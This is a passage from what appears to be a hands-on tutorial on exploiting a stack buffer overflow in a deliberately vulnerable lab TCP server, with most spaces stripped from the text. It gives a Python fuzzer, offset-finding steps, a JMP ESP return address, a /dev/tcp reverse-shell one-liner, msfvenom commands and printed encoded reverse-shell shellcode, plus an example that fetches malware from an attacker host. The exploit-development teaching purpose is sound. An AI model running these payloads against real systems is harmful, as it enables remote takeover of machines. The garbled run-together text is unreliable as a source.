reservedforbufferbutrememberthatBUFFER_SIZE=1024
8d85f0fbffff lea-0x410(ebp)eax
4 Memorylocationsseemtobeaddingandsubtractingbasedonspaceneededtostoredifferentoperationsandmemory
locationsUntilfinally
5 Later-0x40c(ebp)eaxor1036arereservedandatmemorylocation7e6weseeacallto550ltreadpltgt
defineBUFFER_SIZE1024
defineHEADER_SIZE4
EIP(ReturnAddresstonextfunction)
EBPofVuln_Read(BasePointer)
to_read
buffer
read_bytes
Lastvariable(StackPointer)
So1040byteofmemorywasallocatedandthestackgrowsdownfromEBPSomeassemblyoperationsoccurandvariablesarestored
andpointersandupdatedandthememorygrowsandshrinksWithoutbeinganassemblygeniusweseethespecificfunction
(readplt)withthevulnerabilitycalledandcaninferthatthebufferallocationbeforethatisusedforthefunctioncallInthiscase1036
availablebytesLetrsquosbreakthatdown
1036bytesforthebuffer+4bytesforEBP+4bytesforEIP(InstructionPointer)
AnotherimportantpieceofthepuzzleistoldquoFindrdquothecodethatyoujustputintothebufferInourexamplethatwillbeabunchofArsquos
thatweuseduringfuzzingHoweverasweprogresstheArsquoswillgetreplacedwithmalwarebecauseabunchofArsquosarentthatuseful
outsidethecontextoflearning
Afterwefindthecodewewanttobesurethatthecomputerwillldquomove-alongrdquountilitgetstowhateverdataweputintothebufferThe
reasonforthisisbecauseknowingldquoexactlyrdquowherethecomputerputsourArsquosBrsquosandCrsquosishardWemightoverwriteallthoseldquoArsquosrdquo
ldquoBrsquosrdquoandldquoCrsquosrdquobutfindingtheexactmemorylocationthecomputerdecidestoputtheminisnotalwaysviablebecausememory
locationsmovearoundabitPluswewanttomakesurethatthecomputerdoesnrsquotexitorterminateexecutionbeforeitgetstotheBrsquosor
laterourldquomalwarerdquo
Themostbasictechniquetoaddressthisiswithx90NOP(nooperation)WereplaceourArsquos(x41)withx90andthattellsthe
computertojustldquomovealongrdquountilyougettothenextinstructionAsanoobitgivesusabiglandingpadtofindLookbelowatthe
pictureaboveandyoursquollseeanarrowthatpointsbacktotheldquoBufferrdquowithabunchofx90sThismeanswewillputaninstructioninto
IPEIPthatreturnsthecomputerbacktothebufferandtheRETURNwilllandintoabunchofNOPSandthenslidedownintotheBrsquosin
ourprogram
Thefollowingtwopicturesreallyputeverythingintoperspectiveformeignorethebuffersizenumbers
EnoughtheoryshowmeTheCode
DisablingDEPASLR
YoumustdisableASLRandDEPonalabmachinetolearnthebasicbufferoverflow
ASLR-Linux
echo0|sudoteeprocsyskernelrandomize_va_spaceDEPPassedascommandlineargumentinMakefileoratgcccommandline
-fstack-protector-Waexecstack
Onax86linuxarchitecturewithDEPASLRdisabledhellipLetrsquosgiveitashotfirstwersquollrunthevulnerableserverPoCwithinGDB
compilesthevulnerableCprogramwithanumberofprotectionsremovedDisabling-fstack-protectorremovessomemodernprotectionagainstoverwritingtheinstructionpointerLetrsquosdeferuntillaterexecstackwillmarkbinaryorsharedlibraryasrequiringexecutablestackMakefileallor
gcc-gvulnServerc-fno-stack-protector-z-Waexecstack-oServergdbServer1337
OkaysothevulnerableTCPserverisloadedintoGDBGDBisadebuggertogiveasaccessintothememoryregistersassemblyetcetcIfyourefamiliarwithwebdevelopmentlikeIwastheconceptofsettingbreakpointsatdifferentmomentsinthecodewasveryfamiliarItseemsintimidatingbutareallygoodcheatsheetishere
GDBCheatSheet
httpswwwcheatographycomfristlecheat-sheetsclosed-source-debugging-with-gdbFromtheterminaltype
run1337
NowitrsquostimetoldquoFuzzrdquoWealreadywentthroughsometheoryandrationalebeforebutitwasnrsquotdescribedinandend-to-endtypeofcontextArefresherhellipldquoFuzztestingorFuzzingisaBlackBoxsoftwaretestingtechniquewhichbasicallyconsistsinfindingimplementationbugsusingmalformedsemi-malformeddatainjectioninanautomatedfashionrdquoldquoYoucaneitherthrowabunchofgarbageattheprogramoryoucanunderstandwhatthecodeisexpectingrdquoIfyourememberIprovidedsomesimplecommandstoillustratetheexampleForthisapplicationwecandoitcompletelyhandsonpython-cprintx41overflowpython-cprintx41[offset]+x42[4]+x43[Overflow-offset-4]python-cprintx90[offset]+InstructionPointer[4]+x90[Overflow-offset-4]Sowecouldapproachthisacoupleofways
1 Gobackintothereversedengineeredbinariesandtrytodeterminewhatourbuffersizeisthroughthesourcecodeandassembly
2 RuntheprogramthroughthrewGDBandsetbreakpointsandfindops-codethatindicateBUFFERvariablesize3 Writeaniterativefuzzingscripttofindtheoverflowpoint
WritingthefuzzingscriptwasthebestlearningexerciseformeSowersquoregoingtocoverthatherequicklyLetrsquosstartwithgeneratingabunchofdatawiththecommandbelowIrsquomgoingtojustincreasethenumberofAsby10threetimes Examplepython-cprintx41overflowpython-cprintx4110python-cprintx4120python-cprintx4130
AllwersquoredoingiscreatingabunchofArsquosWedothisbecausewedonrsquotknowthemagicnumberofbyteswhereourattackpayloadwillresultinanoverflowThatrsquosthefuzzWewillneedtomodifythebasicpythonfuzzingexampletofittheuniqueldquopre-fixrdquothatisbuiltintothevulnerableserverlogicWewillreusetheBLACKpartsofthecodeslogicbelowandcopyintotheclientpyscriptusrbinpythonimportsocketCreateanarrayofbufferswithArsquosfrom1to5900usingincrementsof200Incrementsof200arearbitraryyoucouldusen++ifyouwanttowaitlongerWhateverbuffer=[A]counter=100whilelen(buffer)lt=30
bufferappend(Acounter)counter=counter+200
forstringinbufferprintFuzzingPASSwithsbyteslen(string)s=socketsocket(socketAF_INETsocketSOCK_STREAM)connect=sconnect((101110167110))srecv(1024)ssend(USERtestrn)srecv(1024)
ssend(PASS+string+rn)ssend(QUITrn)sclose()FirstletrsquoscreatecopyoftheoriginalclientsourcecodecpclientpyclientPoCpyNowletrsquosmakethefollowingchangestoclientPoCpyhellip usrbinpythonimportsocketimportstructimportsysiflen(sysargv)=2printUsage+sysargv[0]+[port]sysexit(1)
MESSAGE=Awhilelen(MESSAGE)lt=1000000mayneedtobeincreasedbasedonyourtargetbuffersize
DEST_IP=127001hostyourvulnProgramsislisteningonDEST_PORT=int(sysargv[1])counter=100
MESSAGE+=(Acounter)increasingthefuzzpayloadofAscounter=counter+100100hereisarbitrarysmallerwillbemoreaccuratebuttakelonger
print(lengthoffuzzoverflowis)print(len(MESSAGE))Foreducationalpurposes
forstringinMESSAGE
defconvert(MESSAGE)raw=raw+=structpack(ltIlen(MESSAGE))Serverexpectsapre-fixtellingyouthebuffersizeraw+=MESSAGEreturnraw
print(convert(MESSAGE))testpurposess=socketsocket(socketAF_INETsocketSOCK_STREAM)sconnect((DEST_IPDEST_PORT))ssend(convert(MESSAGE))data=srecv(1024)
sclose()printReceiveddatadataLetrsquosrunthepythonclientpyscriptandthevulnerableCtcpserverWersquollseethatthepythonscriptwillactasexpectedandbeginiteratingthroughthewhileloopandincreasingthenumberofArsquosIrsquoveincludedaprint()soyoucanwatchtheArsquosgrowastheclientrunsIfyouruntheclientterminalandtheserverterminalsidebysideyoursquollbeabletocomparetheclientpayloadbeingsenttothepayloadbeingreceivedbythevulnerabletcpserver
HopefullyyouruntheattackagainstyoursquorevulnerabletcpserverwhileinEDBmodeYoursquollnoticeaSIGSEGVerroratbytelengthof1101ASIGSEV(segmentationfault)oraccessviolationisafaultorfailureconditionistypicallyraisedbyhardwareasamemoryprotectionmechanismwhenyourprogramattemptstoaccessamemorylocationthateitherdoesnotexistorthatyourprogramisnotallowedtoaccessInthiscaseweoverwroteourEIP(instructionpointer)withamemorylocationof0x4141414orinotherwordsfourArsquos
ThenextpartiscriticalandIoverlookeditthefirstfewtimesIwastryingtounderstandhowthestackbufferrelatestotheregistersAt1101bytestheprogramcrashesHoweverwedonrsquotknowhowfarintotheregisterwewroteourArsquosBecausethisisopensourcecodeweknowthatthebufferwas1024bytesandwewroteout1101bytessoitrsquoslikelyweoverwrite77bytesworthofspaceoverourregisters
WhydowecareWewanttomodifyourinstructionpointerorEIPinx86IfwecanpreciselyoverwriteEIPwiththememorylocationofourprogramthenwecantricktheCPUintoexecutingourmaliciouscodeToillustrateIdrewanXthroughthereturnarraybackintoourbeforebecauseweonlyhaveabunchofArsquosinthereLetrsquossaywewanttowrite4Brsquosinthe4bytespaceinthereturnpointerTheBrsquos(x42)arearbitraryandonlyusedtoillustratethepointIfwewanttowriteBrsquostoaspecificregisterthenweneedtofigureouttheexactnumberofbytestostopwritingArsquosandstartwritingBrsquosManualbinarytreeanalysisisthebestforabeginnerinmyopinionMainlybecauseyoursquollneedtomanuallyworkyourwaythroughthebytesizelengthsmakingeducatedguesseswhileatthesametimelookingattheregistersandldquovisualizingrdquohowitallworks
Soifwehaveacrashatletrsquossay1100WecansplitthenumberofArsquosandBrsquosinto550Doingthismanuallyjustforkickspython-cprintx41550+x42550
Letrsquosusetheoriginalclientpy(notthefuzzer)andreplacetheldquoHELLOrdquomessagewithournewbufferwejustcreatedRestartthevulnerabletcpapplicationinGDBandruntheclientpywithourAandBrsquosbufferPuttingtheapplicationside-by-sideweseethat1100byteweresenthalfAsandhalfBrsquosHoweverthistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithBrsquos(x42)
LetrsquostakeourfirstlookintotheregisterstoseewhatrsquosgoingonTypeldquoinfoall-registersrdquo
EachtimeyourunthroughthebinarytreecreatenewbuffermakesureyoulookintotheregistersTheoutputshowsusthatouroverflowisinourBrsquosbecauseweseex42hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway(-8Nowweneedtogofartherdownthebinarytreetofindtheexactlocationtowriteonly4bytesofBs(x42s)SowersquollmodifyourbuffertoincludesomeCrsquosWersquolldivide11003=andapproximate366+366+368python-cprintx41366+x42366+x43368
LetrsquosupdatetheoriginalclientpyscriptagainwithournewbufferandruntheattackagainstthevulnerableserverintheEDBBythewayIfoundVIMtobefarsuperiorforreplacinglargebuffersizewordsallatonceandnavigatingbackandforthtothebeginningandendofline(-8hellipafterfatthumbingitafewtimesweplacetheclientandtheserverside-by-sideandobservewhathappened
ThistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithCrsquos(x43)TheoutputshowsusthatouroverflowisinourCrsquosbecauseweseex43hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway
WecansaytheresultsofthismakesensebecausewehavethesourcecodeWeknowthatthebufferisallocated1024bytesasapre-processorinstructionAtthispointourArsquosandBrsquosonlyequalatotalof366+366=732bytesNotenoughtooverflowthe1024butanother386isenoughtocrashintothestackrsquosregistersLetrsquoskeepgoingWersquolldividetheCrsquosupnextupdateourclientbufferandretesttheprograminEDBpython-cprintx41366+x42366+x43184+x44184ThistimeweseethefaultoccursintheDrsquoswichmeanswearegettingverycloseSincewersquoreontherighttrackandknowweneedtogetdownintoonly4bytesletrsquosbreaktheDrsquosdownfurther
python-cprintx41366+x42366+x43184+x4462+x4562+x4662
AtthispointIrsquomgettingtiredandthisisgettingoldbutweknowtheoverflowissomewhereinthelast62bytesSoletrsquospauseandaskourselveshowcouldwehavedonethisfasterWerememberouriteratorinthefuzzerTherewasareasonwhyIprintedthebytesizelengthtoscreenLetrsquosgobacktoapictureofourfuzzer
Sobetween1000and1100theoverflowoccursForfastresultswecouldrepeatthebinarytreeanalysiswhereonthelast100byteshellip
python-cprintx411000+x4225+x4325+x4425+x4525
That was much faster In one run we already know that the overflow falls somewhere within the Crsquos or x43s That could be anywhere
up to 1050 bytes This makes sense because we know our buffer is 1024 and we have an idea that there are some other registers that
mightgetoverwrittenbeforeourcodemakesitrsquoswaytotheinstructionpointerLetrsquosbreakdownthose25Crsquosinto8Crsquos8Drsquos9Ersquos
python-cprintx411000+x4225+x438+x448+x459
Now our fault occurs in our Ersquos or x45rsquos Simple math tells us that is somewhere between ~ 1040-1050 bytes and we know our registers
are4byteor32bitregistersthereforewecanbreakthatfinal9Ersquosinto4Ersquosand4Frsquosandseewhathappens
python-cprintx411000+x4225+x438+x448+x454+x464
Close 3 bytes of Ersquos or 3 x45rsquos but look closely one byte of D or x44 This means we need to subtract one D (x44) I feel like wersquore
onestepaway
python-cprintx411000+x4225+x438+x447+x454+x464
BoomThatrsquosit4bytesofErsquosor4x45rsquosLetrsquoscrackopenourregistersandconfirmthatwehavecontroloverourinstructionpointer
Okay so letrsquos recap You can save time during binary tree analysis if you print your fuzzerrsquos buffer to screen In this case we know the
crash occurred between 1000 and 1100 We also learned that our instruction pointer was well being overwritten with As We need to
find the exact location of the 4 byte EIP register because later we want to put a memory location of our ldquomalwarerdquo and tell the computer
to return to our malware in buffer If you noticed that the 44rsquos were at the end of EIP and not the beginning good catch This is because
Intel x86 is little endian meaning that the instructions are considered ldquobackwardsrdquo when provided to the CPU Basically it reads from
right-to-leftrelativetotheorderyousuppliedthedata
FindingInstructionPointerthefastway
Lucky for us there is a nice little program which helps us solve this problem much more quickly Unfortunately I found that when your
taught to use this program without learning the manual way then you may not understand what and why exactly you are using the
program
httpsgithubcomrapid7metasploit-frameworkblobmastertoolsexploitpattern_createrb
Soourfuzzertoldusthecrashhappenedatapproximately1100bytes
rootkali~locatepattern_createusrsharemetasploit-frameworktoolsexploitpattern_createrb
rootkali~usrsharemetasploit-frameworktoolsexploitpattern_createrb-l1100
This will create a pattern where each 4 bytes is a unique string Gosh I wish someone told me that You will paste the output from this
command into your clientpy buffer and overflow the program You will then receive a segmentation fault and go back into the registers
and find the unique 4 byte value in EIP Yoursquoll use a sister program which essentially counts the number of bytes in pattern_createrb
outputuntilitgetstotheunique4bytevaluethatwascopiedintoEIP
Example
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0
Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6
Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7
Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1
Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2
Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf
4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk
YoucanchecktheregistertoojusttoconfirmtheuniquefourbytestringthatwaswrittenintoEIP0x37694236
Then you use the sister program which is just going to count all the bytes in our unique buffer string up to the point of that 4 byte EIP
value
usrsharemetasploit-frameworktoolsexploitpattern_offsetrb-l1100-q37694236
Letrsquoscomparethe1040byteoffsetagainsttheoffsetwefoundmanuallyusingbinarytreeanalysis
python-cprintx411000+x4225+x438+x447+x454(EIP)+x4641000+25+8+7=1040NowweknowthatourbufferandregistersbeforeEIPisapproximately1040byteslongwhilethefollowing4byteswillbeourmemoryaddressthatreturnsusbackintoourbufferandeventuallyrunsourprogramsOnceagainIfoundthissillypicturenotonlyamusingbutthemostusefulIgnorethe500bytesizelengthandreplacethatwith1040forexample
Now we want to make a slight modification to the manual buffer we created previously by adding some x90 no operations commands
Wersquoll add exactly 1040 bytes of NOPS for now Take a second look at the illustration above and see that wersquore going to write out a
bunchofNOPSandeventuallyaddsomeldquomalwarerdquocode
python-cprintx901040+x454+x904
Letrsquosmodifyourclientpyscripttoadjustforthenew1040offsetandNOPs
Notice how similar the manual python script looks to the replaced MESSAGE variable value If this update works correctly wersquod expect
thatmemorylocationsbeforeEIPtobex90rsquosandwersquodexpecttoseethatEIPisx45454545
MESSAGE=x901040+x454+x901000
Run the vulnerable tcp server and clientpy side-by-side and yoursquoll find that the segmentation fault occurs at EIP with a value of exactly
x45454545
Now most importantly what do we put into the Instruction Pointer That depends on where your buffer of x90rsquos land To find our
NOPSletsruntheattackwiththefollowinglogicintheclientpy
MESSAGE=x901040+x454+x901000
Letrsquosswitchsomethingsupandtryanewdebuggerhellip
1 Server1337
2 Fromterminal2rarredb
3 FromedbUIrarrfilerarrattachrarrldquoServerrdquo
4 FromedbUIrarrfilerarrdebugrarrrunrarrrun(twiceorso)
5 UpdateyourclientPoCcode
6 pythonclientPoCpy1337
CodeChanges
malware=(x41100)
eip=x424
ending=x90200
nopsled=(x90(1000-len(malware)))
MESSAGE=x901040+eip+nopsled+malware+ending
Welandsomex42rsquosperfectlyonEIPwhichmeansweadjustedforthebuffercorrectly
Right click in the registers and do a follow in memory dump In this case I clicked ESP and found some 90rsquos in the bottom left-hand
corner
Looking at our memory we see can see the 90rsquos we wrote before EIP we can see the x42 which is EIP and we can see that ESP points
to memory address bffff310 If we continue to scroll down into ESP we should find a bunch of Arsquos which symbolizes our malware At
memoryaddressbfff6a0wefindourArsquoswhichmightaswellbemalware
Nowthatweknowthex90rsquosfeednicelyintoourmalwarewewanttofindalocalstaticbinarywithanOPCODEthatallowsustojump
intoESPWersquollneedabinarythatisalreadyloadedintomemorythatgrantsourprogramreadpermissionFromtherewewillsearchfor
aJMPESPopcodetofindamemorylocationwiththatinstruction
1 runthevulnerableserver
2 startupedbdebuggerandattackthevulnerableserver
3 rightclickPluginsrarrOpsCodesearchrarrClickESPtoEIP
4 Manuallysearchthrougheachloadedbinaryandclicksearch
0xb7facf97 or x97xcfxfaxb7 is the memory location of the OPCODE instruction we need to insert into EIP in order to trick the CPU
tojumpintothememoryaddressheldatESPregisterandthenexecuteourmalwareinESPAsafriendlyreminder
So what do we want our malware to do For now letrsquos create a simple reverse shell back to a command and control server In the
futureIrsquollwriteapaperaboutacustompieceofmalwarejustforfun
Aboilerplateuniversalreverseshellonlinuxlooksliketheonebelow
binsh-igtampdevtcp12700144440gtamp1
Letrsquos test this out on a similar OS to the target server (as best we can) to make sure it will run correctly Wersquoll create a netcat listener in
one terminal listening on port 4444 and wersquoll execute the reverse shell from another terminal and attempt to connect to the listener It
lookslikethissimplereversebinshshellcommandwillworkonthetargetOS(mylocalhostlolz)
The next part that gets overlooked is the assembler encoding into machine op code Kali Linux and Metasploit have tools that generate
a bunch of shellcode for you but the details of the tools can be easily missed or misunderstood If your self-taught noob like myself and
not comp-sci person then itrsquos good we take a moment to cover this Even if you donrsquot fully understand it yoursquoll at least understand there
isanaddedlayerofcomplexity
LetrsquosrefertoourfriendwikipediaforhelphereIpersonallyconcatenateabunchofthistogetherbecauseIfounditusefulinmynotes
ldquoThe Netwide Assembler (NASM) is an assembler and disassembler for the Intel x86 architecture It can be used to write 16-bit 32-bit (IA-32) and 64-bit (x86-64) programs
NASM principally outputs object files which are generally not executable by themselves In computing object code or object module is the product of a compiler In a general
sense object code is a sequence of statements or instructions in a computer language usually a machine code language (ie binary) or an intermediate language such as
register transfer language (RTL) An assembler is used to convert assembly code into machine code (object code) An assembly language (or assembler language) often
abbreviated asm is any low-level programming language in which there is a very strong correspondence between the programs statements and the architectures machine
codeinstructionsrdquo
So when we put in x90x41x42 etc etc you might have noticed that the values stayed the same in memory and in the registers But
when we put in a bunch of Arsquos for some reason the EIP register spit out x41s Well when we performed ldquoinfo all-registersrdquo wersquore seeing
the HEX variant (x41x42x43) of the variables used in the CPUrsquos assembly language Thatrsquos part of the assembly language at work
helpingusgofromahigherlevellanguageinCtoalowerlevellanguagetotheCPUthatwedonrsquotunderstandlikebinary1rsquosand0rsquos
So when we write our malware to the registers it seems best to encode it into the assembly NASM HEX variant of the ASCI characters
commands because the assembly is already expecting that value in the register to execute when the function is called I canrsquot explain it
any deeper other than saying itrsquos ldquomagicrdquo All I know is that if you try to put human readable bash command syntax into a register the
registerdoesntknowwhattodowithitbecauseldquoitdoesntspeakthatlanguagerdquohellipyoufeelme(-8hellip
PutsimplyletrsquostakethecommandwearefamiliarwithinBASHandencodeitintosimpleHEXforillustrationhellip
binsh-igtampdevtcp12700144440gtamp1
encodesto
x2fx62x69x6ex2fx73x68x20x2dx69x20x3ex26x20x2fx64x65x76x2fx74x63x70x2fx31x32x37x2ex30x2ex30x2ex31x
2fx34x34x34x34x20x30x3ex26x31
Unfortunately the assembly still wont ldquounderstandrdquo what that HEX bash command means Largely because wersquore executing directly
from the stack and therefore we need x86 equivalent instructions However it does visually illustrate the point that wersquore taking a
simpleshellcommandandencodingitintoassemblyandwritingtheoutputinCHEX
To make this easier wersquoll use a tool from here on to help us translate a similar shell command like the one below into a lower level x86
encodedcommandthatthekernelcaninterpret
binsh-igtampdevtcp12700144440gtamp1
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
x86encodedShellCode
xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1
x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f
xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0
xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45
x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33
x21x0bx8fxc0xd9xbbxe0x09x7bx55x76xb6x29xf6x01
xd8x7dxf3xdcx9b
TheMSFVENOMtoolisextremelyfeaturerichItiseasytorunitblindlybasedonsomeblogortrainingcoursewithoutfully
understandingthedetailsbehindthepayloadsencodersandoutputUsingourexampleIrsquollgivea60secondbreakdownItrsquosreally
worthreadingthemanpageonmsfvenomtounderstandthearchitecturesandencoders
- p=payloadwherepayloadcouldbelowlevelassemblycompiledjavajspshellcommandscrossplatform
- shell_reversewheretheUnderscoremeansasinglestagedpayloadThismeanstheentireremotecodeexecutionoccursina
singlegoAlternativelyamulti-stagedpayloadmightinjectaldquodownloaderrdquothenrunthedownloadedagainsttheattackerrsquos
ldquoWebServerrdquotogetadditionalremotecodecommandexecutionThinkstage1ldquocurl-sattackeripmalwarerdquowhilestage2is
malwareldquobinsh-igtampdevtcp12700144440gtamp1rdquoorsometihngfarbiggerandmoreadvanced
- f=formathellipThatcanberawCJSPshelletcetc
- -eistheencoderinthiscaseforthex86architecturewersquoreworkingonbuttherearemanymanymore
- -baretheldquobadrdquocharactersIrsquoveincludedafewexampleshere
Wheredoweputourmalware
While writing these notes I first put the shell code at the beginning of the buffer before EIP Letrsquos think about this for a second in the
clientpyscriptputtingthemalwarebeforeEIPlookslikethis
NOPSLED+MALWARE+EIP(RETURNBEFOREMALWARE)+NOPS
Personally I found the first approach difficult for this C program because the NOPSLED overwrote 90rsquos to all my registers This is
important because I had no OP CODE which I could use to dynamically jump into the NOPSLED before the MALWARE I was left
manually searching for a memory address of my NOPSLED and hard coding the memory address into the program This is inferior
because you may want to test larger MALWARE which could overwrite your memory address or you may have a different memory
address when you run this exploit on a target system outside of your lab Once again hard coding the return point is bad and
unfortunatelytheNOPSLEDbeforeEIPdidntgivememuchtodynamicallyjumpinto
HoweverIdidfindthatputtingmymalwareafterEIPopenedsomenewdoorsThisapproachlooksclosertothesyntaxbelow
NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS
LikebeforewhenfindingJUMPESPyoucantestthisoutbygeneratingcodesimilartothecodebelow
malware=x41x30
eip=x97xcfxfaxb7
eip=x41x41x41x41
ending=x90200
nopsled=(x41(1000-len(malware)))
MESSAGE=x901040+eip+nopsled+malware+ending
After updating the code in the clientpy script go ahead and run the attack against the vulnerable server while in EDB debug mode Then
look into your register windows and try to ldquoFindrdquo any x90rsquos or if you used Arsquos x41rsquos If you find a register in my case ESP I overwrote
with a bunch of x41rsquos So instead of manually hard coded a memory location into the exploit I can now simply reference by ESP register
pointertojumpintothenopsled
One point here that was omitted online is the value of this In order to ldquoJumprdquo into all those ldquoArsquos you will need a librarydll with that
specific x86 operation code which your program has access to Letrsquos say Windows or Linux has a library with a JMP ESP command that
can program can call then your exploit becomes more portable because you can simply call that library Plus if you want to try out
bigger malware payloads you donrsquot have to go down into lower memory locations and hard code the new NOP location to ldquomake roomrdquo
for a bigger payload With memory protections enabled I suspect this becomes more complex but I think for now wersquoll go with the shell
codeaftertheEIPsowecanjumpintoESP
NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS
BadCharactersinCustomMalwareIfyouweretoattempttofindyourownbufferoverflowinapieceofsoftwareandwriteyourownremotecodeexecutionorremotecommandexecutionyouwouldfindthatsomecharactersarereservedforpromotinglanguageandassemblerForexamplex00isusedforNULLpointterminationinCwhichindicatesanendofanarrayorbufferandtellsaprogramtostopatthepointitseesx00OtherlanguagesmayhavesimilarreservedtypeofcharactersyouwanttocommitAsanoverlysimplifiedexamplehellip
x86encodedShellCodewBadCharacters(Fornextsection)
xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1
x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f
xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0
xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45
x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33
x21x0bx8fxc0xd9xbbxe0x09x7bx00x00x55x76xb6x29xf6x01
xd8x7dxf3xdcx9bx00x00
Nowletrsquosupdateourclientpycodetoreflectthesechangesandincludethereverseshellpayloadwejustmade
UpdatedclientpyCodewiththeldquoBadCharactercoderdquo
Wersquore getting close to the moment of truth The expected behavior is when turn on another netcat listener on port 4444 and run the
clientpy the clientpy script will attack the vulnerable tcp server and write our malicious code into the vulnerable serverrsquos buffer and
overwrite EIP with a memory pointer that will tell the CPU to ldquogo backrdquo to our malicious command which will ultimately create a
connection back to the ldquoattackerrdquo on the listening 4444 port However because we have ldquoBad Charactersrdquo we know the connection
willfail
Enablenetcatonport4444(nc-lvp4444)
TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB
Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)
WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444
We notice that the attack fails because the connection back to our attacking machine (farthest right) does not respond to our ID or
WHOIScommandsLetrsquosinvestigate
1 RightclickEIPinRegisterWindowsrarrFollowinDump
2 ScrollaroundandfindthemalwareinbetweentheNOPSLEDandNOPending
3 Lookforx00commandsandtrytonoticeanythingorstrange
WhattheTargetMachineSees
Whatwesentover
We go through each HEX character one by one and notice if any original character from the client payload are omittedgoofed up etc
etc This is a slow and tedious part of the process and arguably the best opportunity to learn We see a whole string of characters does
not ldquomatchrdquo So what happened The bad characters are reserved for various operations and memory locations If you send an OP
CODE for example then the machine will just process it ldquoas isrdquo not knowing that the characters you sent are part of a specific sequence
of characters to form a command In an environment where you are trying to encode BASH command or x86 x64 you will run into
various characters that your malware payloads canrsquot use If you donrsquot spend the time checking the memory dump for bad
charactersthenyouwillhavemanysadandlonelyhoursbehindthekeyboard
So we have to generate a payload that can omit bad characters Luckily we have a program to help us generate x86 shellcode and
omitcharacters
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
TestingforbadcharactersisthebestwayforyoutolearnthedebuggerassemblyandHEXYoucandoitatleasttwowaysthatIknow
ofhellip
1 UseagiantblobofallASCIcharactersinHEX
2 Generateacouplesimplepayloadsyouwanttoexecuteandwalkthroughthepayloadlinebyline
Howtotestforbadcharactersandotherassemblyandregisterissues
Terminal1Server1337
Terminal2edb(orGDBIwonrsquotjudge)
fromedbrarrattachrarrServer
fromedbrarrdebugrarrclickrunrarrclickrunagainrarrlookatbottompainandseeiftheprogramisrunning
Terminal3ExecutetheclientscriptwithyourmaliciouspayloadpadwithArsquosorNOPSsoyoucanldquoFindrdquoyourcodequicklyinmemory
Yoursquollbelookingforx41orx90rsquos
Option1-AlltheASCII
x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10
x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20
x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30
x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40
